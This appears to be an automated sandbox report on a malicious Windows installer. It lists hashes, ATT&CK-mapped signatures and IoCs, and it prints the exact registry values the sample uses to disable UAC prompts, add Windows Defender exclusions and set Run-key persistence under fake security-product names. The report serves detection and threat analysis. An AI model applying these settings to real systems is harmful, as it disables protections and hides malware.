89d2778afe65a6530d3ff38b98701c2914b45366b5fc1b5d9a58ad8400b24297

Analysis

max time kernel
150s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 11:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.04.exe
Size 30.5MB
Sample261024-nlek2abv2l
SHA256 89d2778afe65a6530d3ff38b98701c2914b45366b5fc1b5d9a58ad8400b24297
MD5 ad837a80dfca3d1358d35d6880219a76
SHA1 2f2e81b74ff62511ec5c39befd7500c9cc07c996
SHA512 ddd38377276d238c3f58c2af1648508f3b1639aa5d32e0206d8b2672c0ab9adfdff2c5982a73f96281881896b8453c8391973b3f069ae9691ee0e9ffbb359a08
SSDEEP 196608:sZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYD:TC/p+HuPOc46
TLSH
T15167181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	0hHpZw.exe

Windows security bypass 2 TTPs 16 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\6hTMWS = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5332	powershell.exe
2052	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	0hHpZw.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
3500	icacls.exe
5856	takeown.exe
1000	icacls.exe
2148	icacls.exe
4472	icacls.exe
3128	icacls.exe
4104	icacls.exe
4392	icacls.exe
2024	icacls.exe
5980	icacls.exe
3448	icacls.exe
5152	icacls.exe
3008	icacls.exe
4796	icacls.exe
4500	icacls.exe
2196	takeown.exe
1532	icacls.exe
2600	icacls.exe
4620	icacls.exe
5048	icacls.exe
3676	icacls.exe
2420	icacls.exe
3616	icacls.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0hHpZw.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 8 IoCs

pid	Process
260	ChjTlE.exe
4864	ChjTlE.exe
472	0hHpZw.exe
5844	0hHpZw.exe
3604	0hHpZw.exe
2316	YE9tqn.exe
1908	0hHpZw.exe
3128	YE9tqn.exe

Loads dropped DLL 8 IoCs

pid	Process
260	ChjTlE.exe
4864	ChjTlE.exe
472	0hHpZw.exe
5844	0hHpZw.exe
3604	0hHpZw.exe
2316	YE9tqn.exe
1908	0hHpZw.exe
3128	YE9tqn.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5856	takeown.exe
5980	icacls.exe
1532	icacls.exe
1000	icacls.exe
2600	icacls.exe
5048	icacls.exe
4500	icacls.exe
4392	icacls.exe
3500	icacls.exe
2148	icacls.exe
3616	icacls.exe
3676	icacls.exe
3448	icacls.exe
4472	icacls.exe
5152	icacls.exe
3008	icacls.exe
2196	takeown.exe
4104	icacls.exe
2024	icacls.exe
2420	icacls.exe
4620	icacls.exe
4796	icacls.exe
3128	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\6hTMWS\\ChjTlE.exe\""	ChjTlE.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\itBsaE\\0hHpZw.exe\""	0hHpZw.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1528	cmd.exe
2712	cmd.exe
892	cmd.exe
4100	cmd.exe
4588	cmd.exe
4916	cmd.exe
5196	cmd.exe
1944	cmd.exe
4508	cmd.exe
1384	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	ChjTlE.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\SY9sZ1CU7\XPSPLOG.dll	0hHpZw.exe
File created	C:\Program Files (x86)\itBsaE\image.png	ChjTlE.exe
File opened for modification	C:\Program Files (x86)\SY9sZ1CU7\image.png	0hHpZw.exe
File created	C:\Program Files (x86)\SY9sZ1CU7\thumbs.db	0hHpZw.exe
File opened for modification	C:\Program Files (x86)\SY9sZ1CU7\YE9tqn.exe	0hHpZw.exe
File opened for modification	C:\Program Files (x86)\itBsaE	ChjTlE.exe
File created	C:\Program Files (x86)\itBsaE\XPSPLOG.dll	ChjTlE.exe
File opened for modification	C:\Program Files (x86)\itBsaE\0hHpZw.exe	ChjTlE.exe
File opened for modification	C:\Program Files (x86)\itBsaE\XPSPLOG.dll	ChjTlE.exe
File opened for modification	C:\Program Files (x86)\itBsaE\image.png	ChjTlE.exe
File opened for modification	C:\Program Files (x86)\SY9sZ1CU7\thumbs.db	0hHpZw.exe
File created	C:\Program Files (x86)\SY9sZ1CU7\XPSPLOG.dll	0hHpZw.exe
File created	C:\Program Files (x86)\itBsaE\0hHpZw.exe	ChjTlE.exe
File created	C:\Program Files (x86)\SY9sZ1CU7\YE9tqn.exe	0hHpZw.exe
File created	C:\Program Files (x86)\SY9sZ1CU7\image.png	0hHpZw.exe
File created	C:\Program Files (x86)\itBsaE\thumbs.db	ChjTlE.exe
File opened for modification	C:\Program Files (x86)\itBsaE\thumbs.db	ChjTlE.exe
File opened for modification	C:\Program Files (x86)\SY9sZ1CU7	0hHpZw.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	0hHpZw.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1584	sc.exe
200	sc.exe
4416	sc.exe
1236	sc.exe
2596	sc.exe
4844	sc.exe
1484	sc.exe
1064	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Control Panel\Desktop\ScreenSaveActive = "0"	0hHpZw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	0hHpZw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Control Panel\Desktop\SCRNSAVE.EXE	0hHpZw.exe

Executes a command shell one-liner 1 TTPs 28 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2912	cmd.exe
588	cmd.exe
3460	cmd.exe
2708	cmd.exe
3724	cmd.exe
5688	cmd.exe
5164	cmd.exe
3612	cmd.exe
5376	cmd.exe
2612	cmd.exe
4624	cmd.exe
3820	cmd.exe
4620	cmd.exe
2880	cmd.exe
3436	cmd.exe
5712	cmd.exe
4356	cmd.exe
1748	cmd.exe
5144	cmd.exe
1440	cmd.exe
5720	cmd.exe
1824	cmd.exe
4556	cmd.exe
4616	cmd.exe
5928	cmd.exe
2908	cmd.exe
3164	cmd.exe
5984	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ChjTlE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ChjTlE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	0hHpZw.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	0hHpZw.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.04.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.04.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0hHpZw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	YE9tqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	YE9tqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0hHpZw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0hHpZw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	0hHpZw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	0hHpZw.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Control Panel\Desktop\ScreenSaveActive = "0"	0hHpZw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	0hHpZw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	0hHpZw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Control Panel\Desktop\SCRNSAVE.EXE	0hHpZw.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2444	schtasks.exe
3944	schtasks.exe
2664	schtasks.exe
3396	schtasks.exe
1956	schtasks.exe
2996	schtasks.exe
4076	schtasks.exe
696	schtasks.exe
5576	schtasks.exe
2304	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
6068	install.2.0.04.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe
260	ChjTlE.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeIncreaseQuotaPrivilege	2052	powershell.exe
Token: SeSecurityPrivilege	2052	powershell.exe
Token: SeTakeOwnershipPrivilege	2052	powershell.exe
Token: SeLoadDriverPrivilege	2052	powershell.exe
Token: SeSystemProfilePrivilege	2052	powershell.exe
Token: SeSystemtimePrivilege	2052	powershell.exe
Token: SeProfSingleProcessPrivilege	2052	powershell.exe
Token: SeIncBasePriorityPrivilege	2052	powershell.exe
Token: SeCreatePagefilePrivilege	2052	powershell.exe
Token: SeBackupPrivilege	2052	powershell.exe
Token: SeRestorePrivilege	2052	powershell.exe
Token: SeShutdownPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeSystemEnvironmentPrivilege	2052	powershell.exe
Token: SeRemoteShutdownPrivilege	2052	powershell.exe
Token: SeUndockPrivilege	2052	powershell.exe
Token: SeManageVolumePrivilege	2052	powershell.exe
Token: 33	2052	powershell.exe
Token: 34	2052	powershell.exe
Token: 35	2052	powershell.exe
Token: 36	2052	powershell.exe
Token: SeTakeOwnershipPrivilege	2196	takeown.exe
Token: SeRestorePrivilege	4392	icacls.exe
Token: SeTakeOwnershipPrivilege	5856	takeown.exe
Token: SeRestorePrivilege	1000	icacls.exe
Token: SeDebugPrivilege	5332	powershell.exe
Token: SeIncreaseQuotaPrivilege	5332	powershell.exe
Token: SeSecurityPrivilege	5332	powershell.exe
Token: SeTakeOwnershipPrivilege	5332	powershell.exe
Token: SeLoadDriverPrivilege	5332	powershell.exe
Token: SeSystemProfilePrivilege	5332	powershell.exe
Token: SeSystemtimePrivilege	5332	powershell.exe
Token: SeProfSingleProcessPrivilege	5332	powershell.exe
Token: SeIncBasePriorityPrivilege	5332	powershell.exe
Token: SeCreatePagefilePrivilege	5332	powershell.exe
Token: SeBackupPrivilege	5332	powershell.exe
Token: SeRestorePrivilege	5332	powershell.exe
Token: SeShutdownPrivilege	5332	powershell.exe
Token: SeDebugPrivilege	5332	powershell.exe
Token: SeSystemEnvironmentPrivilege	5332	powershell.exe
Token: SeRemoteShutdownPrivilege	5332	powershell.exe
Token: SeUndockPrivilege	5332	powershell.exe
Token: SeManageVolumePrivilege	5332	powershell.exe
Token: 33	5332	powershell.exe
Token: 34	5332	powershell.exe
Token: 35	5332	powershell.exe
Token: 36	5332	powershell.exe
Token: SeIncreaseQuotaPrivilege	5332	powershell.exe
Token: SeSecurityPrivilege	5332	powershell.exe
Token: SeTakeOwnershipPrivilege	5332	powershell.exe
Token: SeLoadDriverPrivilege	5332	powershell.exe
Token: SeSystemProfilePrivilege	5332	powershell.exe
Token: SeSystemtimePrivilege	5332	powershell.exe
Token: SeProfSingleProcessPrivilege	5332	powershell.exe
Token: SeIncBasePriorityPrivilege	5332	powershell.exe
Token: SeCreatePagefilePrivilege	5332	powershell.exe
Token: SeBackupPrivilege	5332	powershell.exe
Token: SeRestorePrivilege	5332	powershell.exe
Token: SeShutdownPrivilege	5332	powershell.exe
Token: SeDebugPrivilege	5332	powershell.exe
Token: SeSystemEnvironmentPrivilege	5332	powershell.exe
Token: SeRemoteShutdownPrivilege	5332	powershell.exe
Token: SeUndockPrivilege	5332	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 260 wrote to memory of 2052	260	ChjTlE.exe	92
PID 260 wrote to memory of 5196	260	ChjTlE.exe	94
PID 5196 wrote to memory of 2996	5196	cmd.exe	96
PID 5196 wrote to memory of 4144	5196	cmd.exe	97
PID 5196 wrote to memory of 3388	5196	cmd.exe	99
PID 260 wrote to memory of 1944	260	ChjTlE.exe	103
PID 1944 wrote to memory of 4076	1944	cmd.exe	105
PID 4624 wrote to memory of 5584	4624	cmd.exe	106
PID 1944 wrote to memory of 1396	1944	cmd.exe	109
PID 1944 wrote to memory of 2272	1944	cmd.exe	111
PID 260 wrote to memory of 1528	260	ChjTlE.exe	112
PID 1528 wrote to memory of 2444	1528	cmd.exe	114
PID 260 wrote to memory of 2712	260	ChjTlE.exe	115
PID 2712 wrote to memory of 696	2712	cmd.exe	117
PID 1528 wrote to memory of 4220	1528	cmd.exe	118
PID 2712 wrote to memory of 2532	2712	cmd.exe	120
PID 1528 wrote to memory of 1856	1528	cmd.exe	121
PID 2712 wrote to memory of 2436	2712	cmd.exe	122
PID 260 wrote to memory of 892	260	ChjTlE.exe	123
PID 892 wrote to memory of 5576	892	cmd.exe	125
PID 892 wrote to memory of 2036	892	cmd.exe	127
PID 892 wrote to memory of 2696	892	cmd.exe	129
PID 5144 wrote to memory of 3056	5144	cmd.exe	133
PID 3164 wrote to memory of 2112	3164	cmd.exe	134
PID 3820 wrote to memory of 4356	3820	cmd.exe	135
PID 260 wrote to memory of 472	260	ChjTlE.exe	136
PID 472 wrote to memory of 4620	472	0hHpZw.exe	227
PID 472 wrote to memory of 3460	472	0hHpZw.exe	141
PID 472 wrote to memory of 1440	472	0hHpZw.exe	143
PID 472 wrote to memory of 5720	472	0hHpZw.exe	146
PID 3460 wrote to memory of 4796	3460	cmd.exe	149
PID 472 wrote to memory of 2880	472	0hHpZw.exe	150
PID 472 wrote to memory of 2708	472	0hHpZw.exe	152
PID 472 wrote to memory of 4508	472	0hHpZw.exe	153
PID 472 wrote to memory of 4100	472	0hHpZw.exe	156
PID 472 wrote to memory of 5984	472	0hHpZw.exe	158
PID 4508 wrote to memory of 3944	4508	cmd.exe	160
PID 2708 wrote to memory of 5620	2708	cmd.exe	161
PID 5620 wrote to memory of 5736	5620	net.exe	162
PID 4100 wrote to memory of 3396	4100	cmd.exe	256
PID 5984 wrote to memory of 4500	5984	cmd.exe	164
PID 4508 wrote to memory of 4592	4508	cmd.exe	165
PID 2708 wrote to memory of 1484	2708	cmd.exe	167
PID 4100 wrote to memory of 1860	4100	cmd.exe	168
PID 472 wrote to memory of 2908	472	0hHpZw.exe	169
PID 4508 wrote to memory of 3236	4508	cmd.exe	170
PID 2708 wrote to memory of 1064	2708	cmd.exe	172
PID 4100 wrote to memory of 5004	4100	cmd.exe	259
PID 2708 wrote to memory of 2812	2708	cmd.exe	174
PID 2908 wrote to memory of 4472	2908	cmd.exe	260
PID 2812 wrote to memory of 548	2812	net.exe	176
PID 472 wrote to memory of 4356	472	0hHpZw.exe	177
PID 2708 wrote to memory of 1584	2708	cmd.exe	179
PID 4356 wrote to memory of 2148	4356	cmd.exe	180
PID 472 wrote to memory of 5712	472	0hHpZw.exe	181
PID 5712 wrote to memory of 2420	5712	cmd.exe	183
PID 2708 wrote to memory of 200	2708	cmd.exe	184
PID 2708 wrote to memory of 5292	2708	cmd.exe	185
PID 472 wrote to memory of 5164	472	0hHpZw.exe	187
PID 2708 wrote to memory of 4844	2708	cmd.exe	189
PID 5164 wrote to memory of 3128	5164	cmd.exe	190
PID 2708 wrote to memory of 2596	2708	cmd.exe	191
PID 472 wrote to memory of 3436	472	0hHpZw.exe	192
PID 2708 wrote to memory of 1244	2708	cmd.exe	194

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	0hHpZw.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:6068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4372

C:\Users\Public\6hTMWS\ChjTlE.exe
"C:\Users\Public\6hTMWS\ChjTlE.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
